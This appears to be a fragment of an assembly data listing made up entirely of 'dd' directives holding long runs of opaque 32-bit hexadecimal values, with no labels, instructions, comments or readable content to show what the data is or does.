		dd 7E1B0C31h, 0DA390038h, 99C95949h, 8B007B58h,	0D2269D1h
		dd 0FFEC98h, 0B5F0A35h,	45DDE175h, 0CCE18C1h, 6087947Fh
		dd 81CC4876h, 0E38E6911h, 2C1C3C8h, 874570C1h, 9050814Eh
		dd 50D3D3Ch, 914B85D4h,	0C801FE1h, 0CA089263h, 89C3A178h
		dd 3C231CCEh, 57863B51h, 0B060B6BDh, 871B5800h,	3C98109Bh
		dd 7F0430DDh, 0E9C4C761h, 0C9398DF8h, 4084060h,	0D476DB6h
		dd 0D76A80F7h, 440E7E8Bh, 0C6CD60E5h, 6061CB1Eh, 5D317110h
		dd 0B9005564h, 4C29DAE4h, 33248B2h, 0A08EF894h,	0A288A753h
		dd 3C07A116h, 0E020F108h, 0B34540F0h, 0ED420366h, 3ED6D5EBh
		dd 0B5E1F7A0h, 5BD1FA00h, 86F49220h, 32FE00ABh,	4A88CBA2h
		dd 0CF585254h, 38C13DDAh, 9FE49F09h, 0E3B19503h, 0FD41C84Eh
		dd 1237907h, 0EBDE2F96h, 60985FA4h, 9300797Bh, 67B8414h
		dd 779B53h, 0B1D8FED1h,	6AECBFF4h, 80A22B39h, 243DE7AEh
		dd 1D70B275h, 80D7CF0Bh, 9E101451h, 2C3AE060h, 99C07D8h
		dd 37D107ACh, 5824FDDFh, 9104A045h, 0E0ECA341h,	0FD60522h
		dd 392ACB1Ah, 0EC089FA0h, 50900AF6h, 93679100h,	6021D75Fh
		dd 0C529C4F8h, 3E964444h, 8A422348h, 0AB125F6h,	1114ED28h
		dd 733C6Fh, 7527A97Ch, 5A0CCD0h, 0C577AFFh, 7273C032h
		dd 0AE002089h, 8ED89E26h, 615D3Ch, 0E9C37616h, 75211729h
		dd 2A9D5C2Ch, 65F7803Ah, 9977A7Bh, 8D82000Ah, 0EEE206FDh
		dd 5702AE78h, 0EC652217h, 0D98080E4h, 0B03E8536h, 78D300ADh
		dd 5446BE47h, 73001096h, 0AAC223D0h, 0F874118Dh, 0B2700F8h
		dd 44C0BD77h, 89F66A47h, 3F00AD7Eh, 91DAEC82h, 0D81EFBh
		dd 0F8C0D2C7h, 3E445234h, 9EEC509h, 1329002Dh, 0E07C498h
		dd 5626FACh, 0B421C320h, 2A01270Ch, 8DA6F59Eh, 31A604CAh
		dd 0DC620F68h, 5116B960h, 0E300D9BFh, 832C866Eh, 969C9h
		dd 67D14A79h, 0AB9E3E4Bh, 0D07EE8C0h, 742039h, 4D181643h
		dd 0D12EC088h, 2606D00h, 45C1B015h, 28A978F3h, 1EAB9BC6h
		dd 8032A02Bh, 0E84E80FDh, 813A5FD6h, 284607CCh,	3E60970Ch
		dd 2B89DEh, 2740AC5Dh, 5FB4C9D3h, 0D73B5E03h, 0B8F26B4Eh
		dd 0A4E579h, 0BA14DE0Ah, 5843C750h, 9DBDD70Fh, 405E0CDh
		dd 0BAB73E0h, 5E440C1Fh, 0C0888A84h, 0CEB999C2h, 725D1702h
		dd 6021AD8Bh, 55CD00h, 4A95BCB7h, 37C8CBCAh, 0B08AA90Eh
		dd 0C5CCC097h, 781AB02h, 0EAFF1FAEh, 51C4E09Ch,	100EC30h
		dd 0B8D6981Eh, 73A26F3h, 2D388186h, 9661300Ch, 873EBC5Ah
		dd 0F155000Ah, 0E72278E8h, 0D5C500D8h, 675C9208h, 57D75B6h
		dd 0EAAFE1Eh, 153AC640h, 4849DCh, 0E0DE7A83h, 0FD106552h
		dd 0F27F7200h, 9412849Bh, 7C73FB2h, 970DC900h, 9E60F953h
		dd 0C5A4291Ch, 461EA700h
		dd 908BB3h, 0CD1F31FAh,	6396AE76h, 3B17E100h, 0C5BAE024h
		dd 1B4A3C28h, 7EC70200h, 725A911Dh, 8329350Eh, 0ABBE00C8h
		dd 0CFE612Bh, 9B179381h, 0FCE98558h, 3900978Fh,	2C4FBA5Dh
		dd 1DAF6C45h, 400C8D2Eh, 25579A6h, 8200DBA8h, 8C43C368h
		dd 13881566h, 0E92ECC8h, 0F8650D18h, 98907C1h, 4143054h
		dd 5900EFC7h, 0AB051107h, 14EEFEEDh, 8D263F61h,	718E0600h
		dd 0D85A43ADh, 0B8FB9528h, 0C1450303h, 0A0BED78h, 0F36BD610h
		dd 0EE1B00C0h, 961402F4h, 0C6711907h, 26433412h, 0F08DE8F9h
		dd 0E9543EF2h, 98B95C03h, 94807DA5h, 90091E21h,	0FA491Bh
		dd 0BD1852C0h, 6D4D00CFh, 9A26B0E9h, 7B00FD30h,	29BB0968h
		dd 75706748h, 9B80008Dh, 0F856A03Ah, 0E700C79Eh, 793C92B5h
		dd 7DBCE4Ch, 0A4060FEBh, 0E43D7068h, 0A300EDC7h, 0DECA674h
		dd 2B91EAAh, 0A7E04D6Dh, 4600912h, 0A53FA071h, 0CBAC0E23h
		dd 0E68C608Eh, 923F21F3h, 3BE200F0h, 0F5479962h, 0D7000E2Eh
		dd 5A2FB4Ah, 4179F3h, 67FCB5A8h, 4D8FF9ACh, 0FBEE5900h
		dd 407FA49Bh, 0D57D13E8h, 550001Fh, 0C18D040Ch,	744B4Ch
		dd 0FD0314B0h, 9FB27Ah,	0FEE3A112h, 0B556402Bh,	0F51F2E0Ah
		dd 4E00E397h, 5127BB1Ch, 0A92D00FEh, 9ABA8565h,	3E7BFFA6h
		dd 7806AD02h, 80019359h, 4C2213D4h, 0D2872C33h,	7C298FD4h
		dd 8C6220E0h, 0C90072BBh, 0F58F5182h, 985B9568h, 7874FAh
		dd 0B3F8D7A6h, 0D4A7E525h, 0B5F42B0Bh, 92DF8015h, 0CA45A9h
		dd 0EAC27C8h, 11580CFEh, 0EECD7300h, 0D3E09483h, 7966008Bh
		dd 0E87E4CD5h, 0A001DAC7h, 2E4D6B7Bh, 0AC045BCh, 77523DF0h
		dd 0AE4F9Ch, 9E1A8012h,	20982248h, 58B52D0Eh, 0A7696061h
		dd 0BF972330h, 0A9BAE380h, 0E2072471h, 24F9A63h, 69B7A75Fh
		dd 8C10EA80h, 0B37E00E3h, 79C5735h, 613E265Ah, 8C0A2818h
		dd 267AB63Eh, 0C8D12088h, 538C20h, 0AEB4E664h, 0C4B8934Bh
		dd 0FDA59B00h, 3909F5C6h, 94F003E0h, 0ED011411h, 22C19CD0h
		dd 21FCEC00h, 2F7C1C91h, 16FA4Ch, 0E45A944Bh, 80994F55h
		dd 0DF05EF00h, 92443657h, 3DC978E9h, 0D480B891h, 0BAF74EC3h
		dd 5678123Fh, 0D69CED0Fh, 0DC926037h, 2C0DFD89h, 88CBFFh
		dd 0BD8983Fh, 0AA0965F0h, 0B94ED5h, 0B14CDE30h,	0BF2407B2h
		dd 9779FCDBh, 5420590Bh, 7270FD48h, 3DF50200h, 0F7235AA4h
		dd 12098F4h, 626B9D56h,	6004D746h, 7003A7B0h, 0CE4BC6BBh
		dd 41D0B852h, 83F200D1h, 0FEEA0E48h, 0E5023E29h, 1D18A585h
		dd 60E842C6h, 0E0B402Eh, 39171DDh, 0A7A4303Ch, 0B318BF54h
		dd 0F68D94Dh, 0F28F07A1h, 3091E4D4h, 9DF46ADh, 81BA2200h
		dd 7D3A9D0Bh, 501002Ah,	7B5569A5h, 5B1DDE16h, 0EF80F1ACh
		dd 0DBA90966h, 72BD004Dh, 0F98428A4h, 0E004CDFh, 0B733290Ah
		dd 7CB93C4h, 771C312Bh,	41A0CF42h, 46612C30h, 0A06DD60Bh
		dd 0DF7980A4h, 2BD4FF9h, 0C4729133h, 9C423FB7h,	0E9790047h
		dd 3300650Ch, 90EC1B52h, 53EE634h, 0EA7AD718h, 0D29C006Ah
		dd 0F8C30FB6h, 17B03500h, 5324926Fh, 7461006Bh,	56BDD608h
		dd 0CC984528h, 769C48h,	0DE6B14A8h, 9DF596h, 0E92DC9B9h
		dd 359BFE0Ch, 0FC17400h, 6B21E6B0h, 70500E2Ah, 882392EEh
		dd 80003B1Dh, 66A3180h,	0DBAF05h, 1A43EA5h, 13789420h
		dd 24004AF6h, 515C0C11h, 0EE6584C9h, 1CF7003Ah,	0D4F658B9h
		dd 50C09CD3h, 3001E7ADh, 6EA800B4h, 0A3D95987h,	0D756A908h
		dd 340F01D4h, 114B557Ch, 3B450434h, 878223EBh, 4106E7Dh
		dd 8B8E5CC0h, 0E66D9328h, 0DAFFF700h, 57692BE7h, 28F9711Fh
		dd 981089D0h, 86910784h, 0A0547A79h, 215C6312h,	60CECD30h
		dd 245B88h, 0A2FDEF48h,	0DA2D4FC4h, 803E2531h, 0AFE33FCAh
		dd 594C4261h, 220C2439h, 4F41CD7Ah, 0C9A8B607h,	0FC406665h
		dd 189231Ch, 2131F2B7h,	0E4BA3D62h, 0B00C6427h,	2851FCFFh
		dd 448D24DAh, 0EAA18730h, 384AA0h, 7664850Dh, 2198A994h
		dd 0C43C3E50h, 0C9F520C0h, 0A0054D96h, 0EB6BC0Ch, 14010CEh
		dd 56CD2760h, 30EB089Fh, 0A40030F2h, 0D9BCEFB9h, 86B007h
		dd 0D075FD49h, 980F1FB8h, 77CE3C00h, 62919438h,	0FA8200E3h
		dd 0B7C8D674h, 40A85D8h, 8CC62A25h, 6C420C3Ch, 45788Eh
		dd 0D7158427h, 48804168h, 0E81DB300h, 118A69Bh,	6E143A8Fh
		dd 89D93103h, 0B01EF7FEh, 45407217h, 594A34Ch, 74968Ah
		dd 0D2E39DE0h, 1F00CDE5h, 0E6E94054h, 980B87h, 9FF6C8Ch
		dd 0C1FD2B11h, 0EDE8601h, 3BE51683h, 1F994180h,	8CC04F10h
		dd 2F06D900h, 0B83F0148h, 0FFC0E122h, 658D0E6Fh, 0E52A9199h
		dd 0B63380E0h, 56635B7Ch, 0CE329302h, 90DA47C0h, 3D06CF0h
		dd 7E66DE8Bh, 8801A8BCh, 19CE3777h, 27E0F10Dh, 0B581C043h
		dd 0EC5F3AAEh, 400A1C00h, 14C003DEh, 508B0063h,	51FA8321h
		dd 2A00C44Dh, 0D7575F29h, 1FC3CEE6h, 0B76DEh, 0E281DF49h
		dd 0D300D906h, 0FA45B0D6h, 3E5CFFE4h, 5FD5B8h, 8AC9B17Ah
		dd 0C4003D6Eh, 0A475C388h, 0EFFE335h, 0A9C8D281h, 0B2E70C77h
		dd 7886A28h, 68B8277Ch,	0A8008370h, 13367E23h, 0F670654Ah
		dd 0CF4D03F0h, 670D6997h, 0DB4440E7h, 0D4008A64h, 4055CCF9h
		dd 9E7EA7h, 0FB9D25BBh,	2D926EF0h, 69D7C800h, 0DAB5148Bh
		dd 580100F7h, 7884EFF8h, 850088F9h, 0CA55BC7Ah,	391F2675h
		dd 5B80B544h, 0F60F9D93h, 100C691h, 1D5D3302h, 1C6738E0h
		dd 80961629h, 0C8183112h, 7307B404h, 6B93D3B1h,	0CF694540h
		dd 0A4F800C5h, 3A125F4Ch, 1900CCF0h, 806F9830h,	1F74E52Ch
		dd 288E1D8Ch, 0E00600A8h, 2A6052FCh, 0E6399E7Ah, 7EFE00A7h
		dd 4ECFBC5Eh, 0E1CD079Ah, 0C02985C0h, 5C46F707h, 0C7AA2501h
		dd 0CBF5630Dh, 32F6AD4h, 1FBF156Fh, 0CC1D6EBCh,	9A8069FDh
		dd 6CD24250h, 950C5CA2h, 0EF31501h, 0D031C72Ch,	64ECABAAh
		dd 8CB81C00h, 98B6B09Ch, 0D8A93FCAh, 0E6AEC90Eh, 0F3979143h
		dd 4D006AD6h, 5BCC25B6h, 70688315h, 73190081h, 0A0DC1457h
		dd 38373F70h, 0BCC0E0CBh, 1F49594h, 1DC404AAh, 40BF8990h
		dd 362BF0B0h, 43608700h, 0EEFF249Ch, 0B5C70093h, 11A405A7h
		dd 0B0090DAh, 98AEBA9Ah, 7044ADh, 18C3CF8Bh, 53ABE354h
		dd 80F66339h, 448028A7h, 249F5F4Eh, 87044AC3h, 70EEBD42h
		dd 5CA47999h, 4F7F3D03h, 9F5304B3h, 6B1D83h, 60BB0628h
		dd 0C6BCD7C5h, 4081321Ch, 3100BDDDh, 6A256355h,	3EB7009Bh
		dd 0BBDD6628h, 2F3A5320h, 879F80E2h, 0DBAEF1BEh, 92D918FFh
		dd 94E3C140h, 0AD670812h, 0E20CF0h, 0BA7233C7h,	273B8F03h
		dd 2914011Dh, 794BFA00h, 5E93B4h, 0B5FEC3EDh, 8A54ABD7h
		dd 0EAD6BB00h, 1A416627h, 321500DCh, 2DE43859h,	0B700AD7Ah
		dd 28E10F7Eh, 3A3F4134h, 0FF80E819h, 7506D0CCh,	0A72F6586h
		dd 0F86FE61h, 0B4499F2Eh, 0FC6B0E00h, 0F00740Eh, 53701ED6h
		dd 0CD5084h, 0CEEAC2E2h, 0AFC065Bh, 60580D00h, 0B1F11F1h
		dd 1FC2E880h, 0C090E277h, 0AE7E8747h, 0D44CB1A0h, 80F73D14h
		dd 66A7033Ah, 3FA53268h, 5F8FFEA9h, 2D0FA6C9h, 3B4070E0h
		dd 5E01DB94h, 0F9671E84h, 3FF81C63h, 0EC7D0027h, 511936Fh
		dd 9F48AC0Eh, 66C7008Ch, 0E0F64E5Ch, 0DBC01F34h, 418C1C4Bh
		dd 0C4C5B9CDh, 5460C29Eh, 63743A79h, 0BE51683Bh, 50808038h
		dd 4ABDF628h, 48691231h, 1DC80754h, 0C01D0E6Fh,	0F8C743A2h
		dd 0DE00CB08h, 0CE7ED585h
		dd 48665C8Ah, 0BA008FC3h, 0EDE213B1h, 7324B5EEh, 301EE0D2h
		dd 0F485330Ah, 28119B00h, 1E9238E6h, 9CDFC5h, 0CFED84B8h
		dd 9F3A6AC8h, 1CAC011Ah, 9895EA87h, 0EE1D75E8h,	9B8A0BEDh
		dd 648048E0h, 520ABDDBh, 3B28F01Fh, 46A52DC0h, 3DED57D3h
		dd 3301E6AAh, 0DA2B57Eh, 0B020803Eh, 0E9D0AE4h,	77A43A03h
		dd 0CD369E00h, 0CE3335CCh, 0D61CA00Eh, 32B480C0h, 30D43016h
		dd 19B84895h, 0DA005D98h, 0FEC5FAD3h, 445055h, 0BFF52A47h
		dd 8D589ECCh, 89DC6902h, 0E074A81Ah, 0E404219Eh, 8CEAAFh
		dd 1811FDA3h, 0A6E0CBCDh, 0EE239900h, 0F3BC7275h, 402D0096h
		dd 148C9A2Eh, 0D4284F22h, 2F0088BAh, 0B90E0DF8h, 9878AEh
		dd 9644AFB8h, 6D698EF9h, 4DB07003h, 0D824855Bh,	0EF0F55h
		dd 71B989BFh, 755C6EB2h, 50E35A26h, 0B632A800h,	9024086h
		dd 0B395AABDh, 4CB28480h, 3100392Ch, 0D1E08BD3h, 746E31Eh
		dd 0D5D8CB4Ah, 2559F01Ch, 3100ACF8h, 5A5FEAD2h,	7C502A8h
		dd 96D6DC27h, 40BE106Ah, 223DE0E6h, 517B81FCh, 0A9E18011h
		dd 387A5B20h, 1200D695h, 822C8133h, 890456C9h, 21CEFC3Fh
		dd 0C018DB83h, 708F9C2Bh, 9232FA4Bh, 8EFA0098h,	0CD35CA81h
		dd 184CB96Fh, 0E43B025Ch, 41314F79h, 43D8D5D8h,	0D18200D9h
		dd 66D87784h, 0B43DC0CCh, 551800D0h, 0FD6F594Ch, 4CE4C43h
		dd 80F7A487h, 0A06D15BCh, 353B63Dh, 48A8028Eh, 0F53EB80Ah
		dd 947D9Ah, 77CC3A57h, 394021B1h, 0ACF09Dh, 0CF67C5F6h
		dd 43E6510Ah, 8D019E7Fh, 3493158Eh, 0BEC7156h, 0C263028Ch
		dd 74ADEE7Bh, 91CB2060h, 0AAB6A700h, 0DEBEB810h, 0E857004Ch
		dd 0EDF5D0D7h, 84B05948h, 0CF44AEE8h, 12F888h, 0BBC52699h
		dd 927F2DC6h, 0C9E58h, 51901CCDh, 0B35EAA6h, 3BD12B3Ch
		dd 0A38885h, 488DC110h,	1400AA9Ch, 2A9FA7C7h, 0BA0BD83Ah
		dd 62D90654h, 70DA633Dh, 0BFCF8500h, 0D4F6E4A1h, 0B4D1F959h
		dd 35A29B2h, 0EB012460h, 0FB3AF501h, 0EE664DC9h, 30598474h
		dd 5AB9D011h, 7B1D89C8h, 0DC0AB771h, 2A0E385Eh,	6F4BE1h
		dd 432E8AE8h, 35791D1Bh, 92740F38h, 397862ACh, 995A2805h
		dd 3000E39Ah, 886FAD18h, 0A2CA1CB6h, 8320C56h, 0C6007210h
		dd 0BFD6DE90h, 18A9E5A8h, 0D95A1362h, 40A009D7h, 4303D030h
		dd 2AD15F8Eh, 0DBC39098h, 0F688A608h, 8700845Ah, 490482D8h
		dd 7A9C7BFh, 0D7569C3h,	6BA203FAh, 1B08BBE0h, 87A56F17h
		dd 2CB4F800h, 15AAA9h, 5EB03B96h, 8190D830h, 98F18007h
		dd 7BF057FDh, 70AE8CAh,	86662037h, 52C03EFEh, 0F31D6394h
		dd 85F76C00h, 4934CAABh, 74A10793h, 30D67FF5h, 0CD38677Dh
		dd 46E78D00h, 955C81FEh, 2EE0008Fh, 0B80635CFh,	0F9006C8Ah
		dd 13272D98h, 4FB3FEh, 3DD4969h, 0B7223528h, 449D3Dh, 8ED55453h
		dd 0BF59E334h, 0C70AD840h, 941F2A7Ch, 0D600F820h, 0D11669E4h
		dd 16E3E357h, 743B320h,	72D555ECh, 0A0A0B963h, 923690F3h
		dd 43712A01h, 44A862D6h, 219EFAD1h, 1A2F0022h, 1F426361h
		dd 7F2EF301h, 5EA923B9h, 0B306BC50h, 91A8F0D8h,	37790984h
		dd 1F72B000h, 49336389h, 0E308F8h, 1A32A421h, 0F4E6D545h
		dd 4FA10400h, 0DBF85E60h, 0C9A3098Bh, 2420E5BBh, 456F9370h
		dd 582A2301h, 0EF155090h, 1F3461E4h, 86299FA0h,	38E1CF65h
		dd 0D84A7100h, 5EB4961Ch, 0D0D77758h, 26B87C18h, 0ADA5008Ch
		dd 90B73BBEh, 6A042AE3h, 0C829CB74h, 71435640h,	0B9009508h
		dd 7B32FFB7h, 0F0963CAFh, 35BF0062h, 5F6322A8h,	0FC0E0D23h
		dd 20548A06h, 34E58797h, 0AF20031h, 0D8C72D85h,	84094A76h
		dd 815D2160h, 6A530B36h, 0F126660h, 27395870h, 6F638F00h
		dd 0C10E7DE3h, 0C0FAEDEEh, 853A3CC8h, 2B4009Dh,	0CF8995DEh
		dd 9A0ED872h, 2070D473h, 0BDF03FB3h, 7424007Ah,	934C1A4h
		dd 893C29FFh, 8BF38385h, 0E0C656B6h, 0B8E618h, 5BBAC926h
		dd 76236D1Ah, 4FCD007h,	0B110139Ch, 6F890Fh, 0D5C99DC4h
		dd 0E8F95E96h, 0E77AED00h, 3345BDCFh, 43F20048h, 0BA344B2Ah
		dd 9701F538h, 0C46D51F8h, 0BF605983h, 0A80A1978h, 0D0DEB084h
		dd 4360CA8Ah, 0E8ED2C60h, 0F20A009Bh, 45C209E6h, 0B8C1F6FEh
		dd 17AA3270h, 3D891E1h,	0E2820CF8h, 0AD48DF85h,	5D121003h
		dd 0C5D867DBh, 0C1BF043Bh, 0DCA9FEC7h, 37A41087h, 913C2069h
		dd 0E50E5A92h, 19E72D1h, 0A064E10Dh, 0DB7093EDh, 9C543247h
		dd 21205819h, 0CB48E77h, 0EE816AD8h, 0E1331060h, 0D921F4h
		dd 46A8F970h, 4E740896h, 63136C07h, 84119173h, 0FDF18640h
		dd 21981880h, 8A81AE70h, 0A87DDBF8h, 3F049600h,	516E178Bh
		dd 4C820078h, 4F6962F9h, 34079B0Dh, 4B23EE4Ah, 0C17EC20h
		dd 0B67F187Dh, 6308AA20h, 61440B00h, 8A39AB80h,	9A491EDCh
		dd 2E00FBB0h, 0FFDF73FAh, 70F62962h, 4C676AFAh,	2BC0F258h
		dd 0F5DB399h, 0A805F3Ah, 666F16E0h, 0BA148A5Ah,	3484A2h
		dd 7F7EB8CEh, 0C02F79CDh, 0E12B0941h, 1A40F463h, 1881F34Ch
		dd 5498CDC4h, 0FBBFEC81h, 80826B3Ah, 0D2D1E2Ah,	1FE99C0h
		dd 6ACAD42Eh, 0E31DD9E8h, 0FFD998E3h, 3B2BD0BBh, 49F2A000h
		dd 0B093B5F9h, 0D8E96F42h, 19209A0Fh, 0A2A9D38Bh, 4B20E1B7h
		dd 0FF21883h, 0E991BE82h, 896D7056h, 0E081876Fh, 0F37D2261h
		dd 0AF63140Dh, 700A984Ah, 58BD58Ch, 3701BAF9h, 23EA1424h
		dd 0A02C4A3h, 90AEC2C9h, 2A012A0h, 0FA01F409h, 362513DCh
		dd 0B4F4F64Bh, 0B0CBF38Ch, 288BF573h, 0F5343Eh,	6C19ED7Ch
		dd 0B3D6099Ah, 840E447Eh, 8095AFF3h, 5CA1B286h,	0B60D00ABh
		dd 1CB4124Ah, 8C147D21h, 7C9FE0F9h, 0B0C38828h,	622588Ch
		dd 0A8142EBh, 9CE37894h, 37EA5D00h, 285A1B91h, 24804E5Bh
		dd 202D7F7Bh, 9CC005F0h, 408E08EAh, 5F7650BCh, 20FB2F6h
		dd 0E021C36Ch, 0AB8B4D18h, 3C0700C1h, 0DD353DE4h, 3E60FBB5h
		dd 179A96E4h, 566C6018h, 78845973h, 40507260h, 49F24729h
		dd 9A0628D1h, 182A7379h, 74C8CA6Ah, 0B076818Ah,	505690A8h
		dd 280ECEF4h, 28C601B1h, 0BF4771E2h, 5230F420h,	784C6926h
		dd 41C00D2h, 96864297h,	0FCA849F1h, 43002C24h, 0CC794753h
		dd 5211C5CDh, 7A8EAC3Eh, 151F3495h, 0BD11814Dh,	9270DC01h
		dd 0CC012228h, 0D1A1A492h, 4EB2D292h, 5D283Ch, 0BB86B4A5h
		dd 1B393BA2h, 229A8338h, 0D9E96A72h, 0B5006D56h, 2002A33Eh
		dd 422743CDh, 0BFE5833Fh, 0A544D847h, 258B3749h, 0F90583E0h
		dd 0BD1D54C8h, 15AC21Fh, 505C51D4h, 80AA76D4h, 0C415A491h
		dd 1B096622h, 1087A30Eh, 0F84716ECh, 15C50525h,	44D517h
		dd 0DDB99AF8h, 87144A7Ch, 0CF37E5Ch, 0B8A00C9Bh, 30D5EA52h
		dd 0C9716359h, 0D008B5C6h, 78C4EDh, 23B3AB79h, 0D860E480h
		dd 39441A80h, 0FC1F2405h, 0D948B0E4h, 0CF4459F2h, 0AB82010Bh
		dd 1EFE6AB7h, 5E144060h, 30C625E9h, 42681B05h, 993303C0h
		dd 2208C6CCh, 53608418h, 0ABDECAE8h, 5C520FA8h,	0DB03231Ch
		dd 0B587FE73h, 14B60002h, 0B4C5271Bh, 9944430Ah, 6398DC9Fh
		dd 0ABE241h, 0DC6A4E6h,	2D4C1F01h, 0F0B55400h, 7ED698A7h
		dd 89710EABh, 6840E3BDh, 671321E9h, 4E286090h, 0D11DDC7Dh
		dd 0F1004CCAh, 0C21B6DC8h, 5E200F64h, 16E65C80h, 42033103h
		dd 0FAB2DBD9h, 2DEEE059h, 290CB006h, 83E8A2ADh,	32FA0E58h
		dd 442F6B8h, 524EE206h,	0FAF89B02h, 0D5980A8Ch,	43FC78D3h
		dd 80ECE7C2h
		dd 960AA1F8h, 920A403h,	4BAC866h, 8DA5AD20h, 0BD208019h
		dd 0E000DD73h, 6E4720D2h, 235C782h, 0EA66E243h,	0B0B0B419h
		dd 0D5054CA3h, 31D1525Dh, 83A9C1AAh, 1C64E0A9h,	7242CF07h
		dd 0CD61D8CCh, 0E850F647h, 1C2A2F2h, 415E9F3h, 0F04A297Dh
		dd 6B0A982Ch, 0B05342FEh, 0C9D01300h, 6A1F3D6h,	18E1FF73h
		dd 70984148h, 895CC71Fh, 0BAB5C9h, 1B3A021Ch, 5D8F03B8h
		dd 0B731BB13h, 40C2181Fh, 0E31C8400h, 1E160842h, 0B4E603Fh
		dd 427935Ah, 0B39AB15Ch, 2194529Ch, 0D880E842h,	95545531h
		dd 44129C3h, 1065C1BDh,	0EC83091h, 0E0153FDFh, 36137B5Eh
		dd 232B0352h, 0FE6879B9h, 0F3FA91F8h, 14B082E8h, 0C524C604h
		dd 0C80E4BBh, 0C94AB1h,	23112CDDh, 0B7425D7h, 598F931Dh
		dd 8B00C01Dh, 0B4F60226h, 0E8320F18h, 4520AC37h, 0F1D76747h
		dd 1049D002h, 65EB3C16h, 2A560BE0h, 3E7F8030h, 16F8244Dh
		dd 0E4128B4Ah, 951F2867h, 798F48C8h, 0E6E5F704h, 34920CFFh
		dd 0C6C0A1F4h, 3832CE61h, 25EAFA09h, 32018C02h,	0DA546844h
		dd 0A090B8F8h, 0A63A6839h, 43100470h, 4C0D026h,	0C8CA329Ah
		dd 39889B20h, 604426F9h, 69941B04h, 83E2280Dh, 0F40250DFh
		dd 28CA8616h, 5C8D09B0h, 0AC03E84Ch, 2A89AB0Ch,	0B232D924h
		dd 26878D1h, 4CA34C8Ch,	28263C27h, 4F54EEh, 18AB743Bh
		dd 0C9F1F817h, 0FC202C19h, 0C6CB5113h, 0FF0014EAh, 1E0B02AAh
		dd 1E27F942h, 8359AF20h, 911C8313h, 4931E4E9h, 7003388h
		dd 440D6653h, 859C0089h, 9B229FDDh, 0B8AB0174h,	628B0F14h
		dd 25158128h, 34218C16h, 26892CD0h, 8B000206h, 0D09087A2h
		dd 6899084Bh, 0DA571480h, 28F8F971h, 38BC2382h,	6F008155h
		dd 16496C26h, 7492A75Ah, 6B072B01h, 0AE791732h,	2485B054h
		dd 7FC934D0h, 1489A2Ah,	97DC528Fh, 3659B947h, 0F7540068h
		dd 7409B2DAh, 0DDA72A24h, 50E94CBCh, 5F1B110h, 447ED8B5h
		dd 53990819h, 1682B985h, 6908D0DFh, 700727Bh, 0B08D9A18h
		dd 281CC8DBh, 495C63E2h, 42004822h, 19510DFFh, 5C72C048h
		dd 0B4F0D85Fh, 24C092F9h, 800CF8B7h, 880C7F03h,	43090EC0h
		dd 20407B2Ch, 0FF415D38h, 5AD41FB5h, 0D6CEAA5h,	0AE45726Fh
		dd 0D4C8D8B1h, 0C7988D03h, 0A5DCA1B9h, 15B1BC21h, 904021D5h
		dd 0F1642DDh, 0CD01B0B2h, 18C9153Dh, 0EA5E0EE0h, 8E33D000h
		dd 0EDB4C9AAh, 7EAB05DCh, 0D092DAB8h, 0C61A4940h, 0F0FD1500h
		dd 6328B70Eh, 6A5D008Ah, 799D8D2Ch, 3B77A142h, 35B61701h
		dd 4568FC2Fh, 7EF5E982h, 0A861CC32h, 22B043FFh,	8B518100h
		dd 0A5663FD5h, 0AD5C1274h, 103C8A95h, 4997C54Ah, 0D08072F8h
		dd 59892B06h, 0A2318763h, 0A5FEA002h, 211C04E9h, 0D009045Ah
		dd 0CB0E1D58h, 0B5FCC200h, 0CD48A338h, 0D4B01718h, 99BC0040h
		dd 8D704208h, 0F8FE30C2h, 555468E8h, 65C701D6h,	548216DDh
		dd 99188C2Ah, 1F104Eh, 0A0BD49E5h, 9B1CC65Dh, 0FA47FE07h
		dd 14B058Fh, 4AA3F6Eh, 32A064h,	7E87B4FFh, 0BD18B91Fh
		dd 0C65C8F00h, 0B5368D40h, 0BF1C0E3Fh, 0D0749A6Dh, 88083929h
		dd 12641613h, 0A93676C0h, 0FF80Eh, 0B8A43A6Eh, 548F104Ah
		dd 76187400h, 9EF6CCCBh, 0D2431524h, 2042015h, 805D9F44h
		dd 92548D68h, 370FA4Ch,	0DCE86AC9h, 295FE0C8h, 0BFA8008Ch
		dd 9F9424F2h, 35125440h, 5041D9F1h, 0B80884CDh,	8991993h
		dd 18C209FCh, 0F1251459h, 1B100B35h, 0C7D9FB20h, 0CCC24B44h
		dd 6C552039h, 0DD011CEEh, 0C2A0AF46h, 0E434AC41h, 45A14AB2h
		dd 0C27A4320h, 0C48A3F88h, 0E9210104h, 24D2025Ah, 7626B764h
		dd 1400701Bh, 0E9EB2FA2h, 0CCCD014Ch, 1DDD8C6Ah, 0A55D6024h
		dd 0E82E702Ch, 43D31E06h, 49F9E6D8h, 3A063418h,	3894BB91h
		dd 2086E81Fh, 29900A0h,	9FE38204h, 0A202E547h, 1DB4874Ah
		dd 970891A5h, 0B51FF418h, 15120E04h, 60B9280Fh,	3238DB0h
		dd 0AC1C05AAh, 38D2FF24h, 0C4585844h, 0C0A5A2D4h, 3A4613C8h
		dd 0F32FD5h, 0DAEB933h,	0D447B493h, 0C529BE19h,	0C808DC38h
		dd 88A4CD0Bh, 27C41144h, 2AD0E160h, 2D05E77h, 2C7B9966h
		dd 0C07153A4h, 80136041h, 0CC0CAC21h, 92B0AD62h, 0C1A4252Ch
		dd 40130104h, 0D02EF3A4h, 0C424E09Ch, 95FCF00h,	515FF2Ch
		dd 0F705A647h, 0E9082155h, 12450C54h, 14CAE5BAh, 4000CC7Ch
		dd 3F252F8Eh, 7B029A7Ch, 91E38D75h, 128458EAh, 7DDA193h
		dd 0A1749D68h, 2153AD5Dh, 5B5020FCh, 0DC280F4Bh, 4CC34C1Eh
		dd 47A1107Dh, 2C6112C0h, 0F3E27445h, 40554890h,	97DF00D5h
		dd 0E65607FEh, 2600C212h, 0E85A4968h, 5CAF5E84h, 0FA00C096h
		dd 0ABA8B511h, 534ED00Eh, 0F6D85403h, 74680995h, 8809159Fh
		dd 330D3381h, 246038B4h, 0C1E2B0B6h, 6BB0134h, 0D4A0ACB0h
		dd 251602C0h, 449749A6h, 52E94409h, 0FE18E08Ch,	54B89958h
		dd 4C00682Ch, 1B8ECA59h, 3B805F02h, 2FB82FDh, 3E9FC30Fh
		dd 1040DD1Ah, 0EF2E84CFh, 9A00E84Bh, 1E9B5979h,	16CB226h
		dd 4EC446AAh, 2493C7EAh, 0F100FE1Ch, 0D0A5A618h, 6F1673h
		dd 0A88AF050h, 449C8231h, 3CBA8B3Ch, 0D071CE80h, 0C044C1DEh
		dd 7D7F3480h, 0D30016Dh, 0CCE3F1D8h, 2A36C84Dh,	0FD42A11Dh
